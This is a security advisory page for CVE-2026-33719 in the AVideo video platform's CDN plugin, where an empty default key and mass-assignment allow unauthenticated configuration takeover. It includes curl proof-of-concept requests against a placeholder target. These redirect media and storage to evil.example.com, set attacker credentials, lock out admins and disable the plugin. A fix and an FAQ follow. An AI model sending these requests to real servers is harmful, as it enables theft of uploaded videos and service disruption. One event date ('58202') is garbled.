CVE-2026-33719: AVideo Vulnerable to Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment in status.json.php

Published Mar 23, 2026
·
Updated

Summary

The CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the par request parameter.

Details

The CDN plugin defines a default empty key in plugin/CDN/CDN.php:68:

php $obj->key = "";

The status.json.php endpoint authenticates requests using this key, but the check has a critical logic flaw at lines 16-27:

php // Line 16-19: Requires attacker to provide SOME key value if (empty($REQUEST['key'])) { $resp->msg = 'Key is empty'; die(jsonencode($resp)); }

// Line 21-26: Only validates key IF stored key is non-empty if (!empty($obj->key)) { // When key is "" (default), this is FALSE //check the key if ($obj->key !== $REQUEST['key']) { $resp->msg = 'Key Does not match'; die(jsonencode($resp)); } }

When the stored key is the default empty string "", !empty("") evaluates to false, and the entire key comparison block is skipped. Any non-empty value provided by the attacker passes authentication.

Following the bypass, lines 28-31 perform unchecked mass-assignment:

php $obj->key = $REQUEST['key']; foreach ($REQUEST['par'] as $key => $value) { $obj->{$key} = $value; $resp->{$key} = $value; }

The attacker-controlled par array sets arbitrary properties on the plugin data object. At line 95, the modified object is persisted to the database:

php $cdn = AVideoPlugin::loadPluginIfEnabled('CDN'); $id = $cdn->setDataObject($obj);

setDataObject() in Plugin.abstract.php:263 serializes the entire object to JSON and saves it, making all mass-assigned properties persistent.

Exploitable properties (defined in CDN.php:62-87) include: - CDN — main CDN URL for serving all video content - CDNS3, CDNB2, CDNFTP — storage-specific CDN URLs - enablestorage — enables CDN storage functionality - storagehostname, storageusername, storagepassword — storage backend credentials - key — the authentication key itself (via mass-assignment, can override line 28)

The disable.json.php endpoint has the identical authentication bypass (lines 16-27) and additionally deactivates the CDN plugin entirely (line 37: $cdn->setStatus('inactive')).

This contrasts with other sensitive endpoints in the codebase that properly use session-based authentication. For example, Gallery/saveSort.json.php (commit 087dab884) uses isGlobalTokenValid(), and commit daca4ffb1 added User::isAdmin() checks to other configuration endpoints.

PoC

Prerequisites: AVideo instance with CDN plugin enabled and key not configured (default state after enabling the plugin).

Step 1: Verify CDN plugin is enabled and key is default

bash curl -s 'https://target/plugin/CDN/status.json.php' \ -d 'key=anything' \ -d 'par[CDN]=https://evil.example.com/'

If the response contains "error":false, the key bypass worked and CDN URL has been overwritten.

Step 2: Full takeover — redirect media, enable storage with attacker credentials, lock out admins

bash curl -s 'https://target/plugin/CDN/status.json.php' \ -d 'key=initial-bypass' \ -d 'par[CDN]=https://evil.example.com/' \ -d 'par[enablestorage]=1' \ -d 'par[storagehostname]=evil.example.com' \ -d 'par[storageusername]=attacker' \ -d 'par[storagepassword]=controlled' \ -d 'par[key]=attacker-secret-key'

This single request: 1. Redirects all CDN-served media URLs to attacker's server 2. Enables CDN storage pointing to attacker-controlled host 3. Sets the key to attacker-secret-key, locking legitimate administrators out of reconfiguring via this endpoint

Step 3: Disable CDN entirely (denial of service)

bash curl -s 'https://target/plugin/CDN/disable.json.php' \ -d 'key=attacker-secret-key' \ -d 'par[x]=1'

This deactivates the CDN plugin, disrupting media delivery.

Impact

An unauthenticated remote attacker can:

1. Redirect all media delivery — By overwriting the CDN URL, all video content served to users is fetched from an attacker-controlled server, enabling content injection or phishing. 2. Exfiltrate uploaded videos — By enabling storage with attacker-controlled credentials, newly uploaded videos are sent to the attacker's storage server. 3. Overwrite storage credentials — The storagehostname, storageusername, and storagepassword fields are all mass-assignable, allowing the attacker to hijack the storage backend. 4. Lock out administrators — By setting the key via mass-assignment, the attacker prevents legitimate administrators from using these endpoints to restore configuration (though admin panel access is unaffected). 5. Disable CDN — Via disable.json.php, the attacker can deactivate the CDN plugin entirely, causing service disruption for media delivery.

The vulnerability is exploitable on any AVideo instance where the CDN plugin has been enabled but the key has not been manually configured — which is the default state immediately after enabling the plugin.

Recommended Fix

Add proper session-based authentication to both endpoints and remove the flawed key-only auth as the sole gate. In plugin/CDN/status.json.php and plugin/CDN/disable.json.php, add an admin check after the configuration include:

php requireonce dirname(FILE) . '/../../videos/configuration.php'; sessionwriteclose(); header('Content-Type: application/json');

$resp = new stdClass(); $resp->error = true; $resp->msg = '';

// Fix: Require admin authentication if (!User::isAdmin()) { $obj = AVideoPlugin::getDataObjectIfEnabled('CDN'); if (empty($obj) || empty($obj->key) || empty($REQUEST['key']) || $obj->key !== $REQUEST['key']) { $resp->msg = 'Authentication required'; die(jsonencode($resp)); } }

Additionally, restrict mass-assignment to only known, safe properties by validating against a whitelist:

php $allowedParams = ['CDN', 'CDNS3', 'CDNB2', 'CDNFTP', 'CDNLive']; foreach ($REQUEST['par'] as $key => $value) { if (!inarray($key, $allowedParams, true)) { continue; } $obj->{$key} = $value; $resp->{$key} = $value; }

This prevents mass-assignment of sensitive properties like key, storagepassword, storagehostname, and enablestorage even when the key-based auth is legitimately used by CDN nodes.

Other sources

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the CDN plugin endpoints plugin/CDN/status.json.php and plugin/CDN/disable.json.php use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the par request parameter. Commit adeff0a31ba04a56f411eef256139fd7ed7d4310 contains a patch.

NVD

Affected Software

3 affected components
WWBN AVideo<=26.0
WWBN AVideo<=26.0
composer/wwbn/avideo<=26.0

Event History

Mar 23, 2026
CVE Published
via MITRE·06:49 PM
Data Sourced
via MITRE·06:49 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Mar 25, 2026
Advisory Published
via GitHub·09:55 PM
Data Sourced
via GitHub·09:55 PM
DescriptionSeverityWeaknessAffected Software
Sep 22, 58202
Event
via FIRST·09:48 AM

Frequently Asked Questions

1

What is the severity of CVE-2026-33719?

CVE-2026-33719 has been classified as a critical vulnerability due to the potential for unauthenticated access and configuration takeover.

2

How do I fix CVE-2026-33719?

To remediate CVE-2026-33719, upgrade AVideo to version 26.1 or later, where this vulnerability has been addressed.

3

What versions of AVideo are affected by CVE-2026-33719?

CVE-2026-33719 affects all AVideo versions up to and including 26.0.

4

Can CVE-2026-33719 lead to unauthorized access?

Yes, CVE-2026-33719 can allow attackers to gain unauthorized access to CDN configurations.

5

Is there a workaround for CVE-2026-33719 prior to upgrading?

No official workaround is provided for CVE-2026-33719, so upgrading to a patched version is recommended.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203